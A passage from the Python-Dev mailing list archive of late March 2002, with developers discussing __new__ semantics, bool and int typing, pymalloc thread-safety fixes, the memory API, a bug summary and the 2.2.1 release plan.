> values, I can change it so that it uses int values without affecting
> the behavior of the program.  The reverse is not true.
> 
> I wonder if this is the circle-ellipse problem over again?

Probably.  We're inheriting implemetation.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Sat Mar 30 18:33:12 2002
From: mwh@python.net (Michael Hudson)
Date: 30 Mar 2002 18:33:12 +0000
Subject: [Python-Dev] Odd new-style class __new__ behavior
In-Reply-To: Guido van Rossum's message of "Sat, 30 Mar 2002 13:27:20 -0500"
References: <Pine.LNX.4.44.0203301204240.26918-100000@penguin.theopalgroup.com> <200203301827.g2UIRKn02129@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2m7kntc3dj.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> > On 30 Mar 2002, Michael Hudson wrote:
> > > Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:
> > > > Suppose I define:
> > > > 
> > > > class Foo(object):
> > > >   def __new__(cls):
> > > >     return 1
> > > > 
> > > > class Bar(object):
> > > >   def __new__(cls):
> > > >     return [1,2,3]
> > > > 
> > > > Python 2.2 returns:
> > > >   print Foo()
> > > >   > 1
> > > >   print Bar()
> > > >   > []
> > > > 
> > > > I would expect that Bar() should return [1,2,3].  Am I running into
> > > > some clever undocumented feature or a bug?  
> > > 
> > > Is tp_init being called on the returned list?
> 
> Correct.

Goody.  I always like it when my wild guesses turn out to be accurate :)

[...]
> Correct behavior is not to return a different type unless you know
> what its __init__ does.

>>> d = {1:1}
>>> d.__init__()
>>> d
{1: 1}
>>> l = [1]
>>> l.__init__()
>>> l
[]

This is at least a little odd, I'd have said.  Is this just a fluke of
implementation?

It's not like I really care, though.

Cheers,
M.

-- 
  In the 1950s and 60s there was a regular brain drain of young
  Australians from the cities to London, but it was because of 
  money, culture and opportunity, not spiders.
           -- Al Grant, ucam.chat, from Owen Dunn's review of the year


From guido@python.org  Sat Mar 30 18:39:58 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:39:58 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Sat, 30 Mar 2002 13:14:35 EST."
 <3CA6008B.1C7152D9@metaslash.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <3CA6008B.1C7152D9@metaslash.com>
Message-ID: <200203301839.g2UIdwD02290@pcp742651pcs.reston01.va.comcast.net>

> There are several problems in the std library now:
> 
> 	bdb.py:9	BdbQuit is a string exception
> 	macpath.py:173	norm_error is a string exception
> 	tabnanny.py:48	NannyNag does not derive from Exception
> 	xdrlib.py:12	ConversionError (Error) does not derive from Exception
> 
> Shall I make all of these derive from Exception?  

Please do.  Note that the last two line numbers are off w.r.t. current
CVS (the exception class is defined a few lines down) -- not sure if
that's a lurking PyChecker bug or that you used an older version.

> Is there any potential problems with doing so?

I don't think so.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 18:43:46 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:43:46 -0500
Subject: [Python-Dev] Odd new-style class __new__ behavior
In-Reply-To: Your message of "30 Mar 2002 18:33:12 GMT."
 <2m7kntc3dj.fsf@starship.python.net>
References: <Pine.LNX.4.44.0203301204240.26918-100000@penguin.theopalgroup.com> <200203301827.g2UIRKn02129@pcp742651pcs.reston01.va.comcast.net>
 <2m7kntc3dj.fsf@starship.python.net>
Message-ID: <200203301843.g2UIhk802341@pcp742651pcs.reston01.va.comcast.net>

> >>> d = {1:1}
> >>> d.__init__()
> >>> d
> {1: 1}
> >>> l = [1]
> >>> l.__init__()
> >>> l
> []
> 
> This is at least a little odd, I'd have said.  Is this just a fluke of
> implementation?

Yes.

> It's not like I really care, though.

Me neither.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 18:53:51 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:53:51 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: Your message of "Sat, 30 Mar 2002 08:56:19 CST."
 <20020330085615.A1011@unpythonic.dhs.org>
References: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net> <002901c1d7f2$8b04f560$2eb53bd0@othello>
 <20020330085615.A1011@unpythonic.dhs.org>
Message-ID: <200203301853.g2UIrpL02383@pcp742651pcs.reston01.va.comcast.net>

> I had a bit of confusion that there's not StopIteration traceback printed,
> and neither is "after that".  Apparently an uncaught StopIteration call
> just exits silently?  (I'm using 2.3a0 here, in the case that it
> matters---cvs from 2-3 weeks ago)

Is this about the example below?

> from __future__ import generators
> 
> class HaltingIterator:
>     def __init__(self, *args, **kw):
> 	self._stop = 0
> 	self._generator = self.generator(*args, **kw)
> 
>     def stop(self, arg=1):
> 	self._stop = arg
> 	self.cleanup(arg)
> 
>     def next(self):
> 	if self._stop:
> 	    raise StopIteration
> 	return self._generator.next()
> 
>     def cleanup(self, arg): pass
> 
> 
> class ExampleHaltingIterator(HaltingIterator):
>     def generator(self):
> 	a, b = 1, 1
> 	while 1:
> 	    ret = a
> 	    ret, a, b = a, b, a+b
> 	    yield ret
> 
>     def cleanup(self, arg):
> 	print "halted with", arg
> 
> x = ExampleHaltingIterator()
> 
> for i in range(10): print x.next()
> x.stop("76 trombones")
> print x.next()
> print "after that"

With current CVS this prints:

1
1
2
3
5
8
13
21
34
55
halted with 76 trombones
Traceback (most recent call last):
  File "/tmp/x.py", line 35, in ?
    print x.next()
  File "/tmp/x.py", line 14, in next
    raise StopIteration
StopIteration

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Sat Mar 30 19:23:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 14:23:45 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <m3u1qys385.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEDHOJAA.tim.one@comcast.net>

[martin@v.loewis.de]
> It would not be vulnerable if you would not free the old arena list,
> right?

Bingo!  That occurred to me when I woke up.  As I went to sleep, I was
picturing an elaborate scheme of saving the "last N" vectors, and recycling
them in tricky ways.  Overnight, sleep simplified the recycling scheme into
an empty statement <wink>.

> Although I'd declare arenas as volatile...

Why?  Thread problems aren't solved by superstition, and that's what adding
"volatile" *usually* is.  It's generally no more of a cure than adding a
sleep().  More on that in my reply to Guido.



From tim.one@comcast.net  Sat Mar 30 19:30:54 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 14:30:54 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <2mofh6m7re.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEDIOJAA.tim.one@comcast.net>

[Michael Hudson]
> Parachuting into a random point in the thread...
>
> Does this have any real bearing on 2.2.1?  Should pymalloc have a mild
> warning sticker applied to it for this release?  Or is this just
> another possible-to-exploit but basically impossible to run into by
> accident hole in Python?

pymalloc wasn't enabled by default in 2.2 because it was still considered
experimental, and with known open issues.  So it was a "use at your own
risk" thing.  The only thing that's changed is that anyone reading
Python-Dev can now pick up a Python routine that will damage a system using
pymalloc.  In an odd sense, that makes paranoid people safer than before,
because now they know for sure it's vulnerable to attack.

> You'll excuse me if I don't want to backport recent pymalloc changes
> to release22-maint...

Indeed not -- these are Big Changes.  Benign neglect is appropriate for
2.2.1.



From tim.one@comcast.net  Sat Mar 30 19:37:07 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 14:37:07 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <005c01c1d7d7$8f81e640$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEDIOJAA.tim.one@comcast.net>

>> There wouldn't be a hole if the vector of arena base addresses were
>> statically allocated.

[David Abrahams]
> This could be a reason to use the 2-level arena vector we were
> discussing earlier. I was just assuming you wouldn't ever want to
> reallocate it or move anything that big...

A 2-level vector would complicate the code in ways that slow it down in the
usual cases, so is unattractive.  These vectors are generally *small*:  on a
32-bit box, 1024 bytes of base-address vector is enough for that over 4 =
256 base addresses, which is enough to cover 2*8 * 2**18 = 64 megabytes of
arena memory.  Most programs will never go above that, and a one-time cost
of moving 1KB per 64MB is trivial.  It's quite attractive to just let the
old vectors leak.



From guido@python.org  Sat Mar 30 20:03:01 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 15:03:01 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: Your message of "Sat, 30 Mar 2002 14:37:07 EST."
 <LNBBLJKPBEHFEDALKOLCMEDIOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEDIOJAA.tim.one@comcast.net>
Message-ID: <200203302003.g2UK32j05247@pcp742651pcs.reston01.va.comcast.net>

> It's quite attractive to just let the old vectors leak.

Yes.  If you double the vector's size each time it needs to be moved,
the leakage is a small percentage of allocated memory.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Sat Mar 30 20:01:05 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 15:01:05 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEDKOJAA.tim.one@comcast.net>

[Guido]
> How about if the PyMem_Free guy saved the address of the vector before
> using it, and checked that it was still the same afterwards, *and* if
> the PyMem_Malloc guy didn't use realloc to resize the vector but
> copied it to a newly malloc'ed vector, stored the new vector's
> address, and then freed the old vector?

It already does the latter (it deliberately avoided realloc all along -- an
even stronger reason to avoid realloc is that if the realloc failed, we'd
lose the original vector of base addresses entirely and so would have to
kill the program; as is, it can continue gracefully).

> (I guess this is the same as what Martin suggested.

He suggested letting the old vector *leak*, which is the same idea God gave
me in my sleep <wink>.

> His point that the global holding the vector address should be declared
> volatile is a good one.)

I see no point to that.  If someone can explain *why* it's a good idea,
sure, but I don't see it.

Let's simplify things enormously:  p is a pointer to "something".  Thread A
contains

    *p

Thread B contains

    free(p)

Without a lock, they're screwed period.  Thread A has to first read up p,
and then dereference it, and all the volatiles in the universe can't stop
free(p) from happening *between* thread A's two machine instructions.  It
doesn't matter either if Thread B does

    oldp = p;
    p = newp;
    free(oldp);

because thread A can still pick up "p" before the "p = newp" line.  Indeed,
the current obmalloc code is exactly like that, and it's not safe (although
I bet if I left it alone, the hole wouldn't be hit in my lifetime!).

Neither would it do any real good for Thread A to do

    if (p == p && p == p && p == p && wink)
        ... *p ...

any number of times, volatile or not.  Nothing short of a pair of critical
sections is a genuine cure for a genuine race.

Letting the old vector leak is fine; in most programs, it won't lose more
than about 1KB of memory total.  Note that there are obscure reasons for why
it's OK to reference a stale vector in the cases where a race is possible
(this is already explained in obmalloc.c comments, so I won't repeat that
here).



From tim.one@comcast.net  Sat Mar 30 20:49:35 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 30 Mar 2002 15:49:35 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <200203302003.g2UK32j05247@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEDLOJAA.tim.one@comcast.net>

Heh -- letting old vectors leak may still not be good enough.  Martin posted
the relevant code:

	((I) < narenas && (uptr)(P) - arenas[I] < (uptr)ARENA_SIZE)

The problem remaining is that narenas can get out of synch with arenas, and
if narenas refers to a later arena size, arenas[I] may be an out-of-bounds
reference.  This may be a good reason to make "narenas" and "arenas"
volatile, in order to ensure that the former is read up before the latter.



From fdrake@acm.org  Sat Mar 30 22:19:33 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sat, 30 Mar 2002 17:19:33 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <20020330135050.GA12983@panix.com>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
 <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
 <20020330135050.GA12983@panix.com>
Message-ID: <15526.14837.956046.355266@grendel.zope.com>

Aahz writes:
 > True, but I'd be happy if Python were to take a step in the formal
 > direction here.  I don't think we want to write standards-like
 > documentation, of course, but adopting a bit more precision couldn't
 > hurt and might help.

More precision is good if we can maintain accuracy and say what we
actually mean.  I've been trying to document things that return true
or false as returning true or false rather then 1 or 0, but that's not
consistently done yet.

I think it makes sense to adopt the standard definitions of the
requirements terms "should", "must", "may", etc., using the
definitions from the IETF RFC (deviation would add confusion, though
we should feel free to copy the definition text if we can do so
without copyright problems).


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From DavidA@ActiveState.com  Sun Mar 31 06:03:14 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Sat, 30 Mar 2002 22:03:14 -0800
Subject: [Python-Dev] Re: PEP 279
References: <E16qtio-0005a8-00@mail.python.org>
 <005501c1d726$67f7b2a0$ccd8accf@othello> <200203291439.g2TEdAF05480@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA6A6A2.A5442C01@ActiveState.com>

Guido van Rossum wrote:
> 
> > Executive Summary:
> > 1.  iterindexed(collection)  -->  accepted
> 
> Except I want to think more about the name.

Please do!  I like it about as much as I like dict.setdefault.  Not.  

Now, if you called it "orlijn", that'd be nice. =)

--da


From skip@mojam.com  Sun Mar 31 13:00:24 2002
From: skip@mojam.com (Skip Montanaro)
Date: Sun, 31 Mar 2002 07:00:24 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200203311300.g2VD0Op09434@12-248-41-177.client.attbi.com>

Bug/Patch Summary
-----------------

236 open / 2357 total bugs
95 open / 1401 total patches

Closed Bugs
-----------

tkfileDialog on NT makes float fr specif (2001-06-10)
	http://python.org/sf/431899
Problem with urllib and proxies / Win32 (2001-06-12)
	http://python.org/sf/432501
python20 dll not found (2001-07-24)
	http://python.org/sf/444129
Linking/compiling with DEBUG (2001-11-05)
	http://python.org/sf/478339
softspace confused in nested print (2001-11-09)
	http://python.org/sf/480215
GetFileSecurity returns wrong SID (2001-11-13)
	http://python.org/sf/481284
xml.AttributesImpl: __setitem__ undef. (2001-12-20)
	http://python.org/sf/495672
test_email assumes Unix uses NTP scale (2001-12-27)
	http://python.org/sf/497162
Python/Tkinter crashes (2002-01-08)
	http://python.org/sf/501022
pickle problems (with Boost.Python) (2002-01-10)
	http://python.org/sf/502085
GNU --option syntax not supported (2002-01-22)
	http://python.org/sf/507262
Solaris 2.7 make chokes. (2002-01-30)
	http://python.org/sf/510868
File inheritance across exec/spawn (2002-01-30)
	http://python.org/sf/510910
Method assignment inconsistency (2002-02-09)
	http://python.org/sf/515336
Python gettext doesn't support libglade (2002-02-12)
	http://python.org/sf/516412
Tix:NoteBook add/delete/add page problem (2002-02-12)
	http://python.org/sf/516703
have a way to search backwards for re (2002-02-12)
	http://python.org/sf/516762
Option processing in setup.cfg (2002-02-14)
	http://python.org/sf/517451
Installing Python 2.2 on Solaris 2.x (2002-02-14)
	http://python.org/sf/517704
Menus and winfo_children() KeyError (2002-02-15)
	http://python.org/sf/518283
make-pyexpat failed (2002-02-18)
	http://python.org/sf/519028
Regex object finditer not documented (2002-02-21)
	http://python.org/sf/520904
Python expects __eprintf on Solaris (2002-02-22)
	http://python.org/sf/521706
re module syntax documentation omission (2002-03-14)
	http://python.org/sf/529923
221 still doesn't work on OS 8.1 (2002-03-18)
	http://python.org/sf/531398
Build python fails after fpectl (2002-03-20)
	http://python.org/sf/532618
Complex power underflow raises exception (2002-03-21)
	http://python.org/sf/533198
not building on AIX (2002-03-21)
	http://python.org/sf/533306
2.2 on HP-UX 11 64-bit - longs crash (2002-03-22)
	http://python.org/sf/533632
CODESET Doesn't Infer ERA et al. (2002-03-23)
	http://python.org/sf/534153

New Bugs
--------

Potential AV in vgetargskeywords (2002-03-24)
	http://python.org/sf/534347
remember to sync trees (2002-03-25)
	http://python.org/sf/534669
Removing _tkinter considered harmful (2002-03-25)
	http://python.org/sf/534748
profiling with xml parsing asserts (2002-03-25)
	http://python.org/sf/534864
new.instance() breaks with new classes (2002-03-26)
	http://python.org/sf/535170
super() broken with classmethods (2002-03-26)
	http://python.org/sf/535444
xml.sax memory leak with ExpatParser (2002-03-26)
	http://python.org/sf/535474
make fails at posixmodule.c (2002-03-26)
	http://python.org/sf/535545
threading.Lock().acquire bug (2002-03-27)
	http://python.org/sf/536017
pydoc getopt fails (2002-03-28)
	http://python.org/sf/536449
module array:  C type descriptions wrong (2002-03-28)
	http://python.org/sf/536469
Docs for "es" and "et" confusing (2002-03-28)
	http://python.org/sf/536516

Closed Patches
--------------

Include RLIM_INFINITY constant (2001-12-04)
	http://python.org/sf/489066
smtplib.py SMTP EHLO/HELO correct (2001-12-29)
	http://python.org/sf/497736
optimize attribute lookups (2002-01-11)
	http://python.org/sf/502415
demo warning for expressions w/no effect (2002-01-19)
	http://python.org/sf/505826
remove extra SET_LINENOs (2002-02-08)
	http://python.org/sf/514997
iterator for lineinput (2002-02-11)
	http://python.org/sf/516297
Fixes pydoc http/ftp URL matching (2002-02-25)
	http://python.org/sf/522587
Allow building python as shared library (2002-03-07)
	http://python.org/sf/527027
small seek tweak upon reads (gzip) (2002-03-22)
	http://python.org/sf/533482
Apply semaphore code to Cygwin (2002-03-22)
	http://python.org/sf/533681

New Patches
-----------

PEP 263 phase 2 Implementation (2002-03-24)
	http://python.org/sf/534304
help asyncore recover from repr() probs (2002-03-25)
	http://python.org/sf/534862
2.2 patches for BSD/OS 5.0 (2002-03-26)
	http://python.org/sf/535335
string.zfill and unicode (2002-03-28)
	http://python.org/sf/536241
force gzip to open files with 'b' (2002-03-28)
	http://python.org/sf/536278
Comprehensibility patch (typeobject.c) (2002-03-28)
	http://python.org/sf/536407
patch for bug 462783 mmap bus error (2002-03-28)
	http://python.org/sf/536578
splitext performances improvement (2002-03-29)
	http://python.org/sf/536661
SimpleXMLRPCServer auto-docing subclass (2002-03-29)
	http://python.org/sf/536883
pymalloc for types and other cleanups (2002-03-29)
	http://python.org/sf/536909


From neal@metaslash.com  Sun Mar 31 16:06:32 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Sun, 31 Mar 2002 11:06:32 -0500
Subject: [Python-Dev] Removing METH_OLDARGS
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3CA73408.8F4C9110@metaslash.com>

"Martin v. Loewis" wrote:
> 
> I would prefer if you could simultaneously remove occurences of
> METH_OLDARGS (introducing METH_O where possible), so that modules get
> cleaned-up entirely, rather than just replacing the easy parts :-)

I've finished the first step of getting rid of many uses of METH_OLDARGS.
The bad news is that there are many more uses of METH_OLDARGS that
were implicit in the declaration.

Here's the current count of uses of METH_OLDARGS:

    Modules/audioop.c        22  
    Modules/clmodule.c       42  
    Modules/flmodule.c      103 
    Modules/fmmodule.c        6   
    Modules/glmodule.c      430 
    Modules/imageop.c        15  
    Modules/mpzmodule.c       8   
    Modules/sgimodule.c       2   
    Modules/_sre.c            2   
    Modules/stropmodule.c     7   
    Modules/svmodule.c       34  
    Modules/_tkinter.c        3   

I will try to go through and get rid of more uses.  I don't believe
there are any uses outside of Modules/ now.

Sorry if I broke anything.

Neal


From aleax@aleax.it  Sun Mar 31 17:38:58 2002
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 31 Mar 2002 18:38:58 +0100
Subject: [Python-Dev] "result type only depends on operand types"...?
Message-ID: <02033119385806.11947@arthur>

Back on March 10 in the thread on PEP 285 Guido wrote:

"""
This is a very general rule that I like a lot: that the type of a
result should only depend on the type of the arguments, not on their
values.  I expect that this rule will make reasoning about programs
(as in PsyCo or PyChecker) easier to do.

I recently caved in and allowed an exception: 2**2 returns an int, but
2**-2 returns a float.  This was a case of "practicality beats
purity".  I don't see True-1 in the same league though.
"""

And yet...:

>>> type(2**10)
<type 'int'>
>>> type(2**100)
<type 'long'>

...doesn't this apply to many operators on ints in 2.2?  Yet _another_
(set of) exception(s) with practicality beating purity?  Perhaps, but if a 
"very general rule" has so many exceptions in frequent and fundamental
cases, is it a rule at all...?


Alex


From aahz@pythoncraft.com  Sun Mar 31 17:52:09 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 31 Mar 2002 12:52:09 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: <02033119385806.11947@arthur>
References: <02033119385806.11947@arthur>
Message-ID: <20020331175209.GA16581@panix.com>

On Sun, Mar 31, 2002, Alex Martelli wrote:
>
> Back on March 10 in the thread on PEP 285 Guido wrote:
> 
> """
> This is a very general rule that I like a lot: that the type of a
> result should only depend on the type of the arguments, not on their
> values.  I expect that this rule will make reasoning about programs
> (as in PsyCo or PyChecker) easier to do.
> """
> 
> And yet...:
> 
> >>> type(2**10)
> <type 'int'>
> >>> type(2**100)
> <type 'long'>
> 
> ...doesn't this apply to many operators on ints in 2.2?  Yet _another_
> (set of) exception(s) with practicality beating purity?  Perhaps, but if a 
> "very general rule" has so many exceptions in frequent and fundamental
> cases, is it a rule at all...?

Channeling Guido: this isn't an "exception", this is a phased step in
the progress toward unifying ints and longs.  Eventually, the
distinction will go away except for explicitly declared platform ints,
and an overflow error on a platform int will once again raise an
exception rather than transforming automatically.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From tim.one@comcast.net  Sun Mar 31 18:14:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 13:14:45 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: <02033119385806.11947@arthur>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEGBOJAA.tim.one@comcast.net>

[Guido]
> This is a very general rule that I like a lot: that the type of a
> result should only depend on the type of the arguments, not on their
> values.

[Alex Martelli]
> And yet...:
>
> >>> type(2**10)
> <type 'int'>
> >>> type(2**100)
> <type 'long'>
>
> ...doesn't this apply to many operators on ints in 2.2?

Yes indeed.

> Yet _another_ (set of) exception(s) with practicality beating purity?

In this case, you're looking at a transitional stage in a *change* to
Python's type system, eventually eliminating the int/long distinction.  2.2
implemented PEP 237's Phase A; there's more to come, spread out over years:

    http://python.sourceforge.net/peps/pep-0237.html

> Perhaps, but if a "very general rule" has so many exceptions in
> frequent and fundamental cases, is it a rule at all...?

Maybe a rule so general is better thought of as a guiding principle.  Like
"one man, one vote", we eventually made exceptions of inclusion and
exclusion for women, felons, and people with a lot of money <wink>.

the-laws-of-gravity-don't-apply-ly y'rs  - tim



From nas@python.ca  Sun Mar 31 19:08:13 2002
From: nas@python.ca (Neil Schemenauer)
Date: Sun, 31 Mar 2002 11:08:13 -0800
Subject: [Python-Dev] Moving forward on the object memory API
Message-ID: <20020331110813.A22515@glacier.arctrix.com>

It looks like Tim managed to work some magic and make pymalloc's free
handle memory allocated by either the system allocator or pymalloc
itself.  That means we can make PyMem_DEL use the pymalloc's 'free' and
make PyObject_NEW use pymalloc's 'malloc'.  Here's my plan for making
this happen:

    #define PyMem_MALLOC(n)         malloc(n)
    #define PyMem_REALLOC(p, n)     realloc((void *)(p), (n))
    #define PyMem_FREE(p)           free((void *)(p))

I think making PyMem_FREE call free() is safe.  I haven't seen any
extension modules allocate with PyObject_NEW and free with PyMem_FREE.
We deprecate the PyMem_* functions.  There's no need for them, IMHO:

    #define PyMem_Malloc PyMem_MALLOC
    #define PyMem_New PyMem_NEW
    #define PyMem_Resize PyMem_RESIZE
    #define PyMem_Free PyMem_DEL
    #define PyMem_Del PyMem_DEL
    /* See comment near MALLOC_ZERO_RETURNS_NULL in pyport.h. */
    #define PyMem_Realloc(p, n) \
            do { \
                    size_t _n = n; \
                    PyMem_REALLOC(p, _n ? _n : 1); \
            } while (0)

Next, we base PyObject_{MALLOC,REALLOC,FREE} on pymalloc.  Basically:

    #ifdef WITH_PYMALLOC
    #define PyObject_MALLOC(n)      _PyMalloc_Malloc(n)
    #define PyObject_REALLOC(op, n) _PyMalloc_Realloc((void *)(op), (n))
    #define PyObject_FREE(op)       _PyMalloc_Free((void *)(op))
    #else
    #define PyObject_MALLOC(n)      PyMem_MALLOC(n)
    #define PyObject_REALLOC(op, n) PyMem_REALLOC((void *)(op), (n))
    #define PyObject_FREE(op)       PyMem_FREE((void *)(op))
    #endif

PyMem_DEL and PyMem_Free need to call pymalloc:

    #define PyMem_DEL(op) PyObject_FREE(op)

We go through the source and replace all the PyMem_* function calls with
the equivalent PyMem_* macro calls and replace PyMem_DEL with
PyMem_FREE.

The recommended API for extension modules writers would be
PyMem_{MALLOC,REALLOC,NEW,RESIZE,FREE}, PyObject_{New,NewVar,Del}, and
PyObject_GC_{New,NewVar,Del}.


  Neil


From aleax@aleax.it  Sun Mar 31 19:43:48 2002
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 31 Mar 2002 20:43:48 +0100
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: <20020331175209.GA16581@panix.com>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com>
Message-ID: <02033121434808.11947@arthur>

On Saturday 31 March 2002 9:45, Aahz wrote:

"""
The problem is that in some cases the __init__ for a class needs to
dispatch based on the type of the operand.  For example, int() takes
both numbers and strings.  What should we recommend as "standard
practice" for this issue if isinstance() is disrecommended?
"""

What I recommend, FWIW, until and unless PEP 246 eventuates
and makes the world wonderful:

# if there's a specifically relevant special-method, such as __int__ is for
# int(), you can of course first try getting thearg.__int__ -- if that
# fails, or if nothing that relevant applies, you can then proceed with
# something along the lines of:

try: thearg+''
except TypeError: pass
else:
    "do the stringlike case here"

try: thearg+0
except TypeError: pass
else:
    "do the numberlike case here"

Why would you want your function to break if called with an instance
of UserString, say, or a user-defined number type?  Smooth polymorphism
is high on the list of Python's strong points -- why break it, when you can
preserve this excellent quality?


Alex


From aleax@aleax.it  Sun Mar 31 20:06:25 2002
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 31 Mar 2002 21:06:25 +0100
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: <02033121434808.11947@arthur>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com> <02033121434808.11947@arthur>
Message-ID: <02033122062509.11947@arthur>

On Saturday 31 March 2002 9:45, Andrew Koenig wrote:
   ...
"""
Liskov substitutibility would seem to suggest deriving int from bool,
not the other way around.  That is: If I have a program that uses bool
values, I can change it so that it uses int values without affecting
the behavior of the program.  The reverse is not true.

I wonder if this is the circle-ellipse problem over again?
"""

I think not, because circle/ellipse, square/rectangle and bag-of-bananas/
bag-of-fruit are problems only under mutability.  If an object is immutable
(either because of general language rules -- a FP language, say -- or
because of specific considerations, such as a const reference in C++) you
CAN pass a reference to an immutable circle wherever a reference to
an immutable ellipse is expected (etc) and keep Liskov happy.

And Python numbers _are_ immutable... so I don't think the problem is
related to the well-known category you mention.

Python's int and the proposed bool can't satisfy Liskov anyway, either way, 
due to str and/or repr.  If I "know" that x is one of the proposed bool 
objects, I could "assert str(x).istitle()" (or repr(x).istitle(), depending 
on which function is meant to return 'True' and 'False') -- if x is an int, 
that fails.  If I know that x is an int, I can similarly asserts 
tr(x).isdigit() -- but if x is a bool, that fails.

[Some would say this is too strict a reading of Liskov for practical use... 
do you think it is?]

Apart from str and repr issues, I cannot find any assertion I can make
under the proposed PEP, that will work for any x that is an int, but breaks
if x is a bool.  So (net of str/repr issue), any instance of bool IS-A int,
so inheriting bool from int seems OK (net of str/repr issues).  OTOH, if I 
know that x is one of the proposed bool values, I can assert 0<=x<2, and 
that will fail in many cases if x is an int instead.  So, inheriting int 
from bool seems unwarranted.  Or, am I missing something?


Alex


From mwh@python.net  Sun Mar 31 20:39:24 2002
From: mwh@python.net (Michael Hudson)
Date: 31 Mar 2002 21:39:24 +0100
Subject: [Python-Dev] 2.2.1 release mechanics
Message-ID: <2m7knspj43.fsf@starship.python.net>

I'm aware that I've not been great about keeping people up to date
about my timing plans for the last couple of releases, so I'd like to
be a little more organized this time.

My plan goes roughly as follows:

April  8 ~1200 GMT: freeze begins.

                    Over the next 24 hours I'll do tests, write
                    Misc/NEWS, update version numbers, etc.

April  9 ~1200 GMT: freeze ends, release begins.

                    This is when Fred, Tim and Jack do their magic,
                    and check any changes they have to make into the
                    tree.

                    I'd really like to get the Mac release done at the
                    same time as the others.

                    During this time, I'll draft changes to python.org
                    and an announcement.

April 10 ~1200 GMT: release ends

                    By now, F, T & J have done their bits, uploaded
                    files to creosote and sf (or pointed me to where I
                    can get them), etc.

                    I twiddle pages on creosote, fiddle with sf, tag
                    the tree, cut the tarball, compute md5s, etc.

The cunning will notice that this doesn't require me to be in the
office after half past five...

Does this plan sound reasonable to everyone?

Cheers,
M.

-- 
  I don't have any special knowledge of all this. In fact, I made all
  the above up, in the hope that it corresponds to reality.
                                            -- Mark Carroll, ucam.chat


From mwh@python.net  Sun Mar 31 20:41:10 2002
From: mwh@python.net (Michael Hudson)
Date: 31 Mar 2002 21:41:10 +0100
